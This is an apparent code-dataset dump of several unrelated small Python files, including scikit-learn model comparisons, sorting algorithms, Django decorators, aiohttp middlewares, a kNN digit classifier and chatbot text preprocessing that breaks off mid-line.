OneHotEncoder()\r\nencTest = encTest1.fit_transform(XTest[:,:12]).toarray()\r\nprint('encTest')\r\nprint(encTest)\r\n\r\nencNTrain = XTrain[:,13:]\r\nencNTest = XTest[:,13:]\r\n#Normalizing & scaling of data\r\nfrom sklearn import preprocessing\r\n# encNTrain = preprocessing.scale(encNTrain)\r\nencNTrain = (encNTrain - encNTrain.mean())/encNTrain.std()\r\n# encNTest = preprocessing.scale(encNTest)\r\nprint('encNTrain')\r\nprint(encNTrain)\r\nencNTest = (encNTest - encNTest.mean())/encNTest.std()\r\nprint('encNTest')\r\nprint(encNTest)\r\nXTrain = np.append(encTrain,encNTrain,axis=1)\r\nXTest = np.append(encTest,encNTest,axis=1)\r\nprint('XTrain')\r\nprint(XTrain)\r\nprint('XTest')\r\nprint(XTest)\r\nfrom sklearn.metrics import mean_squared_error\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.preprocessing import PolynomialFeatures\r\nfrom sklearn.pipeline import make_pipeline\r\nfrom sklearn.linear_model import LinearRegression\r\n\r\ntrain_error = np.empty(5)\r\ntest_error = np.empty(5)\r\n\r\nest = make_pipeline(PolynomialFeatures(2), LinearRegression())\r\nest.fit(XTrain, YTrain)\r\nprint('expected: train y')\r\nprint(YTrain)\r\nprint('outcome:')\r\nprint(est.predict(XTrain))\r\ntrain_error = mean_squared_error(YTrain, est.predict(XTrain))\r\nprint('expected: test y')\r\nprint(YTest)\r\nprint('outcome:')\r\nprint(est.predict(XTest))\r\ntest_error = mean_squared_error(YTest, est.predict(XTest))\r\nprint('train error')\r\nprint (train_error)\r\nprint('test error')\r\nprint (test_error)\r\n\r\n##LinearRegression\r\nfrom sklearn import linear_model\r\nfrom sklearn.decomposition import PCA\r\npca = PCA(n_components=48)\r\nprint (XTrain.shape)\r\npca.fit(XTrain)\r\nXTrain = pca.transform(XTrain)\r\nprint (XTrain.shape)\r\nprint (XTest.shape)\r\npca.fit(XTest)\r\nXTest = pca.transform(XTest)\r\nprint (XTest.shape)\r\nLR = linear_model.LinearRegression()\r\nLR.fit(XTrain, YTrain)\r\nLR.predict(XTest)\r\ntest_error = mean_squared_error(YTest, LR.predict(XTest))\r\n\r\n#Ridge Regression Cross Validation to select optimal value of penalty alpha to reduce overfitting\r\nclfR = linear_model.RidgeCV(alphas=[0.1, 0.3, 0.7, 1.0, 1.3, 1.7, 2, 2.3, 5, 7, 15, 50, 100])\r\nclfR.fit(XTrain, YTrain)\r\nYPred = clfR.predict(XTest)\r\nprint ('YPred- Ridge CV')\r\nprint (YPred)\r\nprint (clfR.alpha_)\r\n\r\n# Lasso Regression\r\nclflml = linear_model.Lasso(alpha = 0.3)\r\nclflml.fit(XTrain, YTrain)\r\nYPred = clflml.predict(XTest)\r\nprint ('YPred- Lasso')\r\nprint (YPred)\r\n\r\n# Bayesian Ridge\r\nclflmlb = linear_model.BayesianRidge()\r\nclflmlb.fit(XTrain, YTrain)\r\nYPred = clflmlb.predict(XTest)\r\nprint ('YPred- Bayesian Ridge')\r\nprint (YPred)\r\n\r\n# ARD Regression\r\nclflmla = linear_model.ARDRegression(compute_score=True)\r\nclflmla.fit(XTrain, YTrain)\r\nYPred = clflmla.predict(XTest)\r\nprint ('YPred- ARD Regression')\r\nprint (YPred)\r\n\r\n\r\n# Logistic Regression\r\nLogReg = linear_model.LogisticRegression(penalty='l2', dual=False, tol=0.0001, C=1.0, fit_intercept=True, intercept_scaling=1, class_weight=None, random_state=None)\r\nLogReg.fit(XTrain, YTrain)\r\n# Finds the optimal model parameters using a least squares method.\r\n# To get the parameter values:\r\nLogReg.get_params()\r\n# To predict a new input XTest,\r\nYPred = LogReg.predict(XTest)\r\nprint ('YPred- Logistic Regression')\r\nprint (YPred)\r\n\r\n# Support Vector Machines (SVM)\r\nfrom sklearn import svm\r\nclfs = svm.SVC()\r\nclfs.fit(XTrain, YTrain)\r\n# To predict a new input XTest\r\nYPred = clfs.predict(XTest)\r\nprint ('YPred- Support Vector Machines')\r\nprint (YPred)\r\n\r\n\r\n# Multi-class classification - Linear SVM\r\nlin_clf = svm.LinearSVC()\r\nlin_clf.fit(XTrain, YTrain)\r\n# To predict a new input XTest\r\nYPred = lin_clf.predict(XTest)\r\nprint ('YPred- Linear SVM')\r\nprint (YPred)\r\n\r\n# Non Linear SVM\r\nclfnl = svm.NuSVC()\r\nclfnl.fit(XTrain, YTrain)\r\n# To predict a new input XTest\r\nYPred = clfnl.predict(XTest)\r\nprint ('YPred- Non Linear SVM')\r\nprint (YPred)\r\n\r\n\r\nfrom sklearn import tree\r\nclft = tree.DecisionTreeClassifier()\r\nclft = clft.fit(XTrain, YTrain)\r\nYPred = clft.predict(XTest)\r\nprint ('YPred- DecisionTree')\r\nprint (YPred)\r\n\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nclfrf = RandomForestClassifier(n_estimators=10)\r\nclfrf = clfrf.fit(XTrain, YTrain)\r\nYPred = clfrf.predict(XTest)\r\nprint ('YPred- RandomForest')\r\nprint (YPred)\r\n\r\nimportances = clfrf.feature_importances_\r\nstd = np.std([tree.feature_importances_ for tree in clfrf.estimators_],\r\n axis=0)\r\nindices = np.argsort(importances)[::-1]\r\nfor f in range(XTrain.shape[1]):\r\n print(\"%d. feature %d (%f)\" % (f + 1, indices[f], importances[indices[f]]))\r\n# 1. feature 3 (0.049330)\r\n# 2. feature 28 (0.044043)\r\n# 3. feature 1 (0.043618)\r\n# 4. feature 0 (0.040636)\r\n# 5. feature 10 (0.036512)\r\n# 6. feature 41 (0.026741)\r\n# 7. feature 21 (0.026472)\r\n# 8. feature 39 (0.026281)\r\n# 9. feature 16 (0.025645)\r\n# 10. feature 34 (0.025267)\r\n# 11. feature 24 (0.025020)\r\n# 12. feature 6 (0.024642)\r\n# 13. feature 25 (0.024294)\r\n# 14. feature 8 (0.024108)\r\n# 15. feature 17 (0.023959)\r\n# 16. feature 7 (0.023713)\r\n# 17. feature 11 (0.023668)\r\n# 18. feature 43 (0.023294)\r\n# 19. feature 23 (0.021770)\r\n# 20. feature 19 (0.020901)\r\n# 21. feature 14 (0.020533)\r\n# 22. feature 4 (0.020321)\r\n# 23. feature 35 (0.020292)\r\n# 24. feature 12 (0.020274)\r\n# 25. feature 9 (0.018432)\r\n# 26. feature 37 (0.018308)\r\n# 27. feature 29 (0.017650)\r\n# 28. feature 5 (0.017550)\r\n# 29. feature 45 (0.017185)\r\n# 30. feature 22 (0.016746)\r\n# 31. feature 46 (0.016625)\r\n# 32. feature 30 (0.016298)\r\n# 33. feature 20 (0.016200)\r\n# 34. feature 18 (0.015977)\r\n# 35. feature 27 (0.015920)\r\n# 36. feature 38 (0.015346)\r\n# 37. feature 15 (0.015253)\r\n# 38. feature 13 (0.015172)\r\n# 39. feature 44 (0.015146)\r\n# 40. feature 40 (0.013770)\r\n# 41. feature 2 (0.012762)\r\n# 42. feature 26 (0.012662)\r\n# 43. feature 42 (0.012180)\r\n# 44. feature 31 (0.011869)\r\n# 45. feature 36 (0.011366)\r\n# 46. feature 32 (0.009596)\r\n# 47. feature 33 (0.006655)\r\n# 48. feature 47 (0.000000)\r\n\r\n\r\n##Best is linear regression with one hot encoding of features,normalization of data.\r\n\r\n\r\n\r\n\r\n","sub_path":"German Credit Dataset Classification - Challenge 1/GermanCreditCardDataClassification.py","file_name":"GermanCreditCardDataClassification.py","file_ext":"py","file_size_in_byte":8483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"101431671","text":"def mergeSort(arr): \n if len(arr) >1: \n m = len(arr)//2 \n L = arr[:m] \n R = arr[m:] \n \n mergeSort(L) \n mergeSort(R) \n \n i = j = k = 0\n \n while i < len(L) and j < len(R): \n if L[i] < R[j]: \n arr[k] = L[i] \n i+= 1\n else: \n arr[k] = R[j] \n j+= 1\n k+= 1\n \n while i < len(L): \n arr[k] = L[i] \n i+= 1\n k+= 1\n \n while j < len(R): \n arr[k] = R[j] \n j+= 1\n k+= 1\n\n\nprint(\"Merge Loaded\")\n\"\"\"n = int(input())\nprint(n)\n\narr = [0]*n\n\nfor i in range(n):\n\tarr[i] = random.randint(0,n)\n\nprint('Arreglo sin ordenar: ')\nprint(arr)\nmergeSort(arr)\nprint('Arreglo ordenado por Quicksort: ')\nprint(arr)\"\"\"\n","sub_path":"Practica1/python/mergesort.py","file_name":"mergesort.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"276730433","text":"from django.conf import settings as django_settings\n\n\nDEFAULTS = {\n 'IS_CORE_PERM_USE_CACHE': False,\n 'IS_CORE_PERM_CACHE_NAME': 'default',\n 'IS_CORE_PERM_CACHE_TIMEOUT': 60 * 10, # 10 min\n}\n\n\nclass Settings:\n\n def __getattr__(self, attr):\n if attr not in DEFAULTS:\n raise AttributeError('Invalid fperms_iscore setting: \"{}\"'.format(attr))\n\n default = DEFAULTS[attr]\n return getattr(django_settings, attr, default(self) if callable(default) else default)\n\n\nsettings = Settings()\n","sub_path":"fperms_iscore/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"650130373","text":"import unittest\nfrom fitness_tracker.calculators.one_rep_max.one_rep_max_calculator import OneRepMaxCalculator\n\nclass TestOneRepMaxCalculator(unittest.TestCase):\n def test_metric_weight(self):\n weight = 120\n reps = 5\n calc = OneRepMaxCalculator(weight, reps)\n results = calc.results()\n one_rep_max = results[5]\n self.assertEqual(one_rep_max, 135)\n self.assertListEqual(results, [70, 80, 95, 110, 120, 135, 140])\n\n def test_imperial_weight(self):\n weight = 265\n reps = 5\n calc = OneRepMaxCalculator(weight, reps)\n results = calc.results()\n one_rep_max = results[5]\n self.assertEqual(one_rep_max, 300)\n self.assertListEqual(results, [150, 180, 210, 240, 270, 300, 305])\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/test_one_rep_max_calculator.py","file_name":"test_one_rep_max_calculator.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"509839309","text":"# pylint: disable=E1101\n'''\nModule to for sharing decorators between all modules\n'''\nfrom functools import wraps\nimport simplejson\n\nfrom django.http import HttpResponse, Http404\n\nfrom timetracker.tracker.models import Tbluser\nfrom timetracker.loggers import info_log, suspicious_log\n\n\ndef loggedin(func):\n\n \"\"\"Decorator to make sure that the view is being accessed by a\n logged in user.\n\n This works by simply checking that the user_id in the session\n table is 1) There and 2) A real user. If either of these aren't\n satisfied we throw back a 404.\n\n We also log this.\n\n :param func: A function which has a request object as a parameter\n :returns: Nothing directly, it returns the function it decorates\n :raises: :class:`Http404` error\n \"\"\"\n\n @wraps(func)\n def inner(request, *args, **kwargs):\n '''implementation'''\n try:\n Tbluser.objects.get(id=request.session.get(\"user_id\"))\n except Tbluser.DoesNotExist:\n info_log.info(\"Non-logged in user accessing @loggedin page\")\n raise Http404\n return func(request, *args, **kwargs)\n return inner\n\n\ndef admin_check(func):\n\n \"\"\"Wrapper to see if the view is being called as an admin\n\n This works by 1) Checking if there is a user_id in the session\n table. 2) If that user is a real user in the database and 3) if\n that user's is_admin() returns True.\n\n :param func: A function with a request object as a parameter\n :returns: Nothing directly, it returns the function it decorates.\n :raises: :class:`Http404` error\n \"\"\"\n\n @wraps(func)\n def inner(request, **kwargs):\n '''implementation'''\n try:\n user = Tbluser.objects.get(\n id=request.session.get('user_id', None)\n )\n except Tbluser.DoesNotExist:\n info_log.info(\"Non-logged in user accessing @loggedin page\")\n raise Http404\n if not user.sup_tl_or_admin():\n suspicious_log.info(\"Non-admin user accessing @admin_check page\")\n raise Http404\n else:\n return func(request, **kwargs)\n\n return inner\n\n\ndef json_response(func):\n\n \"\"\"\n Decorator function that when applied to a function which\n returns some json data will be turned into a HttpResponse\n\n This is useful because the call site can literally just\n call the function as it is without needed to make a http-\n response.\n\n :param func: Function which returns a dictionary\n :returns: :class:`HttpResponse` with mime/application as JSON\n \"\"\"\n\n @wraps(func)\n def inner(request):\n\n \"\"\"\n Grabs the request object on the decorated and calls\n it\n \"\"\"\n\n return HttpResponse(simplejson.dumps(func(request)),\n mimetype=\"application/javscript\")\n return inner\n\n\ndef request_check(func):\n\n \"\"\"Decorator to check an incoming request against a few rules\n\n This function should decorate any function which is supposed\n to be accessed by and only by Ajax. If we see that the function\n was accessed by any other means, we raise a :class:`Http404`\n and give up processing the page.\n\n We also make a redundant check to see if the user is logged in.\n\n :param func: Function which has a request object parameter.\n :returns: The function which it decorates.\n :raises: :class:`Http404`\n \"\"\"\n\n @wraps(func)\n def inner(request):\n \"\"\"\n Pulls the request object off the decorated function\n \"\"\"\n if not request.is_ajax():\n suspicious_log.info(\"Request check made on non-ajax call\")\n raise Http404\n if not request.session.get('user_id', None):\n # if there is no user id in the session\n # something weird is going on\n suspicious_log.info(\"Ajax call made by a non-logged in entity\")\n raise Http404\n return func(request)\n return inner\n","sub_path":"utils/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":3944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"523719171","text":"import math, numpy, os\r\n\r\ntraining = []\r\nresult = []\r\nfiles = os.listdir(\"trainingDigits\")\r\nfor i in range(len(files)):\r\n str1 = files[i].split(\".\")[0]\r\n str2 = str1.split(\"_\")[0]\r\n result.append(int(str2))\r\n with open(\"trainingDigits/\" + files[i], \"r\") as file:\r\n lines = file.readlines()\r\n temp = []\r\n for i in range(len(lines)):\r\n for j in range(len(lines[i])):\r\n if lines[i][j] == '0':\r\n temp.append(0)\r\n elif lines[i][j] == '1':\r\n temp.append(1)\r\n training.append(temp)\r\n\r\ndef quick_sort(s, l, r):\r\n if (l < r):\r\n i = l\r\n j = r\r\n x1 = s[l][1]\r\n x0 = s[l][0]\r\n while i < j:\r\n while i < j and s[j][1] >= x1:\r\n j -= 1\r\n if i < j:\r\n s[i][1] = s[j][1]\r\n s[i][0] = s[j][0]\r\n i += 1\r\n while i < j and s[i][1] < x1:\r\n i += 1\r\n if i < j:\r\n s[j][1] = s[i][1]\r\n s[j][0] = s[i][0]\r\n j -= 1\r\n s[i][1] = x1\r\n s[i][0] = x0\r\n quick_sort(s, l, i - 1)\r\n quick_sort(s, i + 1, r)\r\n\r\ndef maxIndex(a):\r\n maxi = max(a)\r\n for i in range(len(a)):\r\n if maxi == a[i]:\r\n return i\r\n\r\ndef distance(training, test):\r\n d = []\r\n for i in range(len(training)):\r\n dis = 0.0\r\n for j in range(len(training[i])):\r\n if training[i][j] != test[j]:\r\n dis += 1.0\r\n dis = math.sqrt(dis)\r\n d.append([i, dis])\r\n return d\r\n\r\ndef decide(training, testIndex, k):\r\n files = os.listdir(\"testDigits\")\r\n str1 = files[testIndex].split(\".\")[0]\r\n str2 = str1.split(\"_\")[0]\r\n real = int(str2)\r\n test = []\r\n with open(\"testDigits/\" + files[testIndex], \"r\") as file:\r\n lines = file.readlines()\r\n for i in range(len(lines)):\r\n for j in range(len(lines[i])):\r\n if lines[i][j] == '0':\r\n test.append(0)\r\n elif lines[i][j] == '1':\r\n test.append(1)\r\n dis = distance(training, test)\r\n quick_sort(dis, 0, len(dis) - 1)\r\n digit = [0 for i in range(10)]\r\n # get the k nearest point and count them\r\n for i in range(k):\r\n digit[result[dis[i][0]]] += 1\r\n return maxIndex(digit), real\r\n\r\n# decide(training, 0)\r\n# print(os.listdir(\"testDigits\"))\r\n# print(decide(training, 90, 30))\r\nerror = 0\r\nfor i in range(len(os.listdir(\"testDigits\"))):\r\n predict, real = decide(training, i, 40)\r\n print(predict, real)\r\n if predict != real:\r\n error += 1\r\nprint(\"error rate: \" + str(float(error) / len(os.listdir(\"testDigits\"))))","sub_path":"knn2.py","file_name":"knn2.py","file_ext":"py","file_size_in_byte":2733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"268787","text":"\"\"\" Project settings \"\"\"\nfrom nltk.corpus import wordnet as wn\nfrom gensim.models import FastText\nfrom gensim.models import Word2Vec\n\nfrom tempfile import mkdtemp\nimport os.path as path\nimport torch.cuda as tc\nimport torch\n\n\n \n\nclass Settings:\n\tdef __init__(self):\n\t\tself.test = False\n\t\t'''\t\t\n\t\t# Dataset\n\t\tself.dataset_text \t\t= '../datasets/Freebase15k/entityWords.txt'\n\t\t#self.dataset_entities \t= '../datasets/Freebase15k/train.txt'\n\t\tself.dataset_vocab \t\t= '../datasets/Freebase15k/word2id.txt'\n\n\t\n\t\t# Word similarity matrix\n\t\tself.use_idf = True\n\t\tself.similarity = 'cos'\n\t\tself.similarity_threshold = 0.8\n\n\t\tself.similarity_matrix_filename = path.join(mkdtemp(), 'similarity_matrix.dat')\n\n\t\tself.similarity_function = wn.path_similarity\n\n\t\tself.h5filename = 'similarity_matrix_word2vec.h5'\n\t\tself.h5omega\t= 'omega_matrix_word2vec.h5'\n\t\t\n\n\t\t# entity embeddings settings\n\t\tself.transe_method = 'bern' # bern or unif\n\t\tself.dataset_transe = '../datasets/entity2vec.' + self.transe_method\n\n\t\t# PYTORCH settings\n\t\tself.device = None\n\n\t\t# TEMPORARY SETTINGS:\n\t\t#self.use_pytorch_entities = True\n\t\t\n\n\n\t\t# NMF learning parameters\n\t\tself.lr = .001\n\t\tself.n_epochs = 250\n\t\tself.floatType = tc.FloatTensor # if torch.cuda.is_available else torch.FloatTensor\n\t\tself.longType = tc.LongTensor\n\n\t\tself.n_batches = 100\n\t\tself.n_negative = 3\t\t\t# number of negative samples for each positive datasample\n\n\t\tself.opt = 'sgd'\n\n\t\t# MODEL settings\n\t\tself.n_features = 50\n\t\t'''\n\n\n\tdef set(self, args):\n\t\t# set up input filenames\n\t\tif args.dataset == 'test':\n\t\t\tself.dataset_text \t\t= '../datasets/Test/entityWords.txt'\n\t\t\tself.dataset_vocab \t\t= '../datasets/Test/word2id.txt'\n\t\t\tself.dataset_transe \t= '../datasets/Test/entity2vec.' + args.transe_method\t\n\t\t\tself.test \t\t\t= True\t\n\t\t\t#self.n_batches = 10\n\t\telif args.dataset == 'freebase':\n\t\t\tself.dataset_text \t= '../datasets/Freebase15k/entityWords.txt'\n\t\t\tself.dataset_vocab \t\t= '../datasets/Freebase15k/word2id.txt'\n\t\t\tself.dataset_entities = '../datasets/Freebase15k/train.txt'\n\t\t\tself.dataset_transe \t= '../datasets/Freebase15k/entity2vec.' + args.transe_method\n\n\t\t# set up device\n\t\tuse_gpu = True if (args.device == 'default' and torch.cuda.is_available \\\n\t\t\t\t\t\t\tor args.device == 'gpu') else False\n\n\t\tif use_gpu:\n\t\t\tself.device = torch.device('cuda:0')\n\t\t\tself.floatType = torch.cuda.FloatTensor\n\t\t\tself.longType = torch.cuda.LongTensor\n\t\telse:\n\t\t\tself.device = torch.device('cpu')\n\t\t\tself.floatType = torch.FloatTensor\n\t\t\tself.longType = torch.LongTensor\n\n\t\t# set up word embedding model\n\t\tif args.word_model == 'word2vec':\n\t\t\tself.emb_model = Word2Vec \n\t\telse: \n\t\t\tself.emb_model = FastText\n\n\t\tself.incr = args.incr\n\t\tself.similarity = args.similarity\n\t\tself.transe_method = args.transe_method\n\t\tself.n_similar = args.n_similar\n\t\tself.use_idf = args.use_idf\n\n\n","sub_path":"src/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"370129382","text":"from aiohttp import web\n\nfrom common import utils\nfrom projecteuler import exceptions\n\n@web.middleware\nasync def authenticate(request: web.Request, handler):\n request['user'] = None\n if utils.startswith_one(request.rel_url, [\n '/home/sanyash/bootstrap', '/projecteuler/static'\n ]):\n return await handler(request)\n request['token'] = request.cookies.get('projecteuler-user-token')\n if request['token']:\n response = await request.app.users_client.me(request['token'])\n request['user'] = response.get('user')\n return await handler(request)\n\n\n@web.middleware\nasync def redirect(request: web.Request, handler):\n url = str(request.rel_url)\n about = web.Response(\n status=303,\n headers={\n 'Location': '/about'\n }\n )\n if utils.startswith_one(url, [\n '/about'\n ]):\n return await handler(request)\n if request['user']:\n if utils.startswith_one(url, [\n '/sign_in', '/register',\n ]):\n return about\n else:\n if utils.startswith_one(url, [\n '/sign_out', '/account',\n ]):\n return about\n try:\n return await handler(request)\n except exceptions.NeedRedirection:\n return web.Response(\n status=303,\n headers={\n 'Location': request.path,\n }\n )\n","sub_path":"projecteuler/middlewares.py","file_name":"middlewares.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"480468207","text":"import sqlite3\nfrom sqlite3 import Error\n\nsqlite_file = 'portfolioDB.db'\nsectors_table = 'sectors'\nregistry_table = 'registry'\naccounts_table = 'accounts'\ndailyPrice_table = 'daily_price'\n\nconn = sqlite3.connect('portfolioDB.db')\nc = conn.cursor()\n\nc.execute('''CREATE TABLE sectors(id INTEGER PRIMARY KEY, sector TEXT''')\n\nconn.commit\nconn.close\n","sub_path":"createTable.py","file_name":"createTable.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"407394359","text":"# -*- coding: utf-8 -*-\nfrom math import log\n\n# load lexicon symbols\nwith open('lex.syms') as f:\n tmp = filter(lambda x: len(x), map(lambda x: x.strip().split('\\t')[0], f.readlines()))\nprint(tmp)\nlex_syms = filter(lambda x: not x.startswith('#'), tmp)[1:]\nlex_aux = filter(lambda x: x.startswith('#'), tmp)\n#print(lex_aux)\nprint(lex_syms)\n\nprob_pos = -log(0.9)\nprob_neg = -log(0.1)\nwith open('p.txt', 'w+') as f:\n state_counter = 1\n for ind, i in enumerate(lex_syms):\n f.write('0\\t{}\\t\\t\\t{}\\n'.format(state_counter, prob_pos))\n # others\n for j in lex_syms:\n if(j != i):\n f.write('{}\\t{}\\t{}\\t\\t{}\\n'.format(state_counter, state_counter, j, prob_neg))\n # insertion\n f.write('{}\\t{}\\t\\t{}\\t{}\\n'.format(state_counter, state_counter + 1, i, prob_neg))\n # see what it should\n f.write('{}\\t{}\\t{}\\t{}\\t{}\\n\\n'.format(state_counter, state_counter + 1, i, i, prob_pos))\n # consume others again!!\n for j in lex_syms:\n if(j != i):\n f.write('{}\\t{}\\t{}\\t\\t{}\\n'.format(state_counter + 1, state_counter + 1, j, prob_neg))\n state_counter += 2\n\n # add finale state. check if it is the last state of the words\n FINALE = state_counter\n for i in lex_aux:\n for s in range(2, 84, 2):\n f.write('{}\\t{}\\t{}\\t{}\\t{}\\n'.format(s, FINALE, '', i, prob_pos))\n f.write('{}\\t{}\\t{}\\t{}\\t{}\\n'.format(s, FINALE, '', '', prob_pos))\n f.write('{}\\n\\n'.format(FINALE))\n","sub_path":"p.py","file_name":"p.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"15724670","text":"r\"\"\"\nbasics\n======\nBasic types, like bool and the likes.\n\"\"\"\nfrom ..modules.classes import CustomType\n\nclass YN(CustomType):\n \"\"\"The classic y/n input that returns a truthy/falsy value.\n \"\"\"\n def __init__(self, **Config):\n if not 'type_str' in Config:\n Config['type_str'] = 'y/n'\n\n CustomType.__init__(self, **Config)\n\n def __ec_config__(self, ArgConfig):\n default = ArgConfig.get('default')\n\n ArgConfig['type_str'] = '%s%s' % (self.str, (' (%s)' % ('y' if default else 'n' if isinstance(default, bool) else default)) if 'default' in ArgConfig else '')\n\n return ArgConfig\n\n def __call__(self, val):\n if not val: # we've got an empty string\n raise ValueError()\n\n if val in 'yY':\n return True\n\n elif val in 'nN':\n return False\n\n raise ValueError()\n\nyn = YN()\n","sub_path":"ec/types/basics.py","file_name":"basics.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"563411018","text":"import gym\n\nfrom utils.env_wrappers import RolloutPadWrapper\nfrom utils.vec_env import SubprocVecEnv\n\n\nclass FakeEasyEnv:\n def __init__(self):\n self.state = None\n self._max_episode_steps = 20\n\n def reset(self):\n self.state = 0\n\n def step(self, *args, **kwargs):\n self.state += 1\n reward = self.state\n done_ = False\n info_ = {}\n return self.state, reward, done_, info_\n\n\ndef init_env():\n env = gym.make(env_name)\n env = RolloutPadWrapper(env, rollout_len)\n return env\n\n\nif __name__ == '__main__':\n env_name = 'CartPole-v1'\n rollout_len = 10\n\n vec_env = SubprocVecEnv([init_env for _ in range(2)])\n vec_env.reset()\n for i in range(100):\n action = [0] * 5\n _, _, done, info = vec_env.step(action)\n print(i, done, info)\n vec_env.close()\n","sub_path":"utils/test_vec_env.py","file_name":"test_vec_env.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"56139382","text":"import sys\nsys.setrecursionlimit(10000)\n\ndef divide(numbers, start, end):\n if start == end:\n return [numbers[start]]\n else:\n middle = (start + end)//2\n left_numbers = divide(numbers, start, end)\n right_numbers = divide(numbers, start, end)\n return conquer(numbers, left_numbers, right_numbers)\n\ndef conquer(numbers, left_numbers, right_numbers):\n nums = []\n i = 0\n j = 0\n while i < len(left_numbers) and j < len(right_numbers):\n if left_numbers[i] < right_numbers[j]:\n nums.append(left_numbers[i])\n i += 1\n else:\n nums.append(right_numbers[j])\n j += 1\n if i < len(left_numbers):\n nums += left_numbers[i:]\n if j < len(right_numbers):\n nums += right_numbers[j:]\n return nums\nnumbers = [20, 10, 16, 6, 89, 1, 5, 9, 100]\ndivide(numbers, 0, len(numbers)-1)","sub_path":"merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"379745353","text":"# -*- coding: utf-8 -*-\n# @Author: Peiyuan Mao\n# @Date: 2016-05-05 11:44:42\n# @Last Modified by: Peiyuan Mao\n# @Last Modified time: 2016-05-05 11:58:02\n\n\nclass quick_sort:\n \"\"\"The class to implement the quick sort algorithm\"\"\"\n\n def sort(self, A):\n \"\"\" Function to implement the quick sort algorithm.\n\n Parameters:\n ----------\n A : int array\n The input array to be sorted\n\n Returns:\n ----------\n A : The sorted int array\n\n Examples:\n ----------\n Omitted.\n\n Notes:\n ----------\n We implement this sorting function by divide and conquer.\n While there are many different ways of choosing the pivot,\n I will choose the beginning of the list.\n \"\"\"\n n = len(A)\n if n <= 1:\n return A\n else:\n pivot = A[0]\n left = [num for num in A[1:] if num <= pivot]\n right = [num for num in A[1:] if num > pivot]\n return self.sort(left) + [pivot] + self.sort(right)\n\n def test(self):\n \"\"\" Function to test the quick sort function \"\"\"\n import numpy as np\n A = range(100)\n np.random.shuffle(A)\n assert A != range(100), 'Array to be sorted were not properly shuffled'\n assert self.sort(A) == range(100), 'Sorting did not work'\n assert self.sort([]) == [], 'Sorting empty list did not work'\n assert self.sort([2, 1, 3, 3]) == [\n 1, 2, 3, 3], 'Not working with duplicates'\n\n\ndef main():\n b = quick_sort()\n b.test()\n\n\nif __name__ == '__main__':\n main()","sub_path":"Basic/quick_sort.py","file_name":"quick_sort.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"451592248","text":"# -*- coding: utf-8 -*-\n# This is a Chatbot Project\n\"\"\"\nCreated on Mon Oct 22 22:54:01 2018\n\n@author: Mahbub - A - Rob\n\"\"\"\n\n# Import libraries\nimport numpy as np\nimport tensorflow as tf\nimport re\n\n\n# Read Data\nlines = open(\"movie_lines.txt\", encoding = \"utf-8\", errors = \"ignore\").read().split(\"\\n\")\nconversations = open(\"movie_conversations.txt\", encoding = \"utf-8\", errors = \"ignore\").read().split(\"\\n\")\n\n# Clean Data and \n# Create a dictionary and map with the ID\nid_mapping_line = {}\nfor line in lines:\n _line = line.split(\" +++$+++ \")\n # print(_line)\n # Make sure we have five elements\n if len(_line) == 5:\n # store line id and line text only\n # id_mapping_line[_line[0]] contains only id\n # _line[4] contains line text\n id_mapping_line[_line[0]] = _line[4]\n \n# Clean conversations data\n# Create a list of conversations ids \nconversations_ids = []\n# skip last empty row: use jupyter notebook for better data exploration visualization\n# split(\" +++$+++ \")[-1][1:-1].replace(\"'\", \"\") \n# [-1] means last index\n# [1:-1] remove leading and trailing square brackets\n# use replace function to replace singel quote\n# replace space\n# only keep the comma\nfor conversation in conversations[:-1]:\n _conversation = conversation.split(\" +++$+++ \")[-1][1:-1].replace(\"'\", \"\").replace(\" \", \"\")\n # append the clean conversation ids \n # befor appending remove the comma\n conversations_ids.append(_conversation.split(\",\"))\n \n\n# Split questions and answers\nquestions = [] \nanswers = []\nfor conversation in conversations_ids: # take a single conversation\n for i in range(len(conversation) - 1): # split question and answer and store\n questions.append(id_mapping_line[conversation[i]])\n answers.append(id_mapping_line[conversation[i+1]])\n \n\n# Function for cleaning text \ndef clean_text(text):\n text = text.lower()\n text = re.sub(r\"i'm\", \"i am\", text)\n text = re.sub(r\"he's\", \"he is\", text)\n text = re.sub(r\"she's\", \"she is\", text)\n text = re.sub(r\"they're\", \"they are\", text)\n text = re.sub(r\"what's\", \"what is\", text)\n text = re.sub(r\"where's\", \"where is\", text)\n text = re.sub(r\"\\'ll\", \" will\", text) # replace 'll\n text = re.sub(r\"\\'ve\", \" have\", text)\n text = re.sub(r\"\\'re\", \" are\", text) \n text = re.sub(r\"\\'d\", \" 